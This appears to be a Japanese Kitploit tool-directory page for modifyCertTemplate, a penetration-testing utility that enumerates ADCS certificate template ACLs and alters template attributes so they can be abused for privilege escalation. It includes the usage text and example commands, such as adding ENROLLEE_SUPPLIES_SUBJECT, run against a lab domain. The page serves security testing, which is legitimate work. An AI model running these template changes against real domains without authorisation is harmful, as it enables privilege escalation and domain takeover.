Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
modifyCertTemplate — ADCS証明書テンプレートの変更とACL列挙 | Kitploit
ツール/GitHubGitHub/fortalice/modifycerttemplate
特権昇格脆弱性分析エクスプロイト構成監査ペネトレーションテスト認証
GitHubfortalice/modifycerttemplate

modifyCertTemplate

ADCS証明書テンプレートの変更とACL列挙

リポジトリを見る
1451313年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

目的

このツールは、オペレーターがADCS証明書テンプレートを変更し、作成された脆弱な状態を特権昇格に利用できるようにする(その後、テンプレートを以前の状態にリセットする)ことを支援するために設計されています。これは、テンプレートに対するWriteProperty権限が侵害されたが、オペレーターがその権限がどのプロパティに適用されるか不明なシナリオ向けに特別に設計されています。このシナリオでは、テンプレートのACLをクエリし、該当するACE情報をプロパティGUIDと照合することで、変更可能なプロパティを特定できます。

関連するブログ記事(ツールとトピックについて)

使用方法

root@kitploit:~
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
                             [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
                             target

Modify the attributes of an Active Directory certificate template

positional arguments:
  target                [[domain/]username[:password]

optional arguments:
  -h, --help            show this help message and exit
  -template template name
                        Name of the target certificate template
  -property property name
                        Name of the target template property
  -value new value      Value to set the specified template property to
  -get-acl              Print the certificate's ACEs
  -dn distinguished name
                        Explicitly set the distinguished name of the certificate template
  -raw                  Output the raw certificate template attributes
  -add flag name        Add a flag to an attribute, maintaining the existing flags
  -debug                Turn DEBUG output ON

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
                        use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ldaps                Use LDAPS instead of LDAP

例

テンプレートまたはプロパティ値のクエリ

証明書テンプレート(すべての属性)をクエリ

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass

証明書テンプレートから単一の属性をクエリ

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass

すべてのテンプレート属性の生の値をクエリ

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass

ACL情報のクエリ

証明書テンプレートのACLをクエリ

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass

証明書テンプレートとは関係ありませんが、任意のオブジェクトのACLは、そのオブジェクトの識別名を指定することでクエリできます

root@kitploit:~
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass

テンプレートの変更

テンプレートのmsPKI-Certificate-Name-FlagプロパティにENROLLEE_SUPPLIES_SUBJECTフラグを追加

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass 

証明書テンプレート属性(非リストプロパティ)の値を更新

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass

pKIExtendedKeyUsageプロパティにEKUを追加

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass 

リスト形式の属性の値を更新(例:pKIExtendedKeyUsageの値を明示的に設定)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass 

参考文献、謝辞、およびその他の注目プロジェクト!

  • PyWhisker
  • Certi
  • StandIn
ツールをダウンロード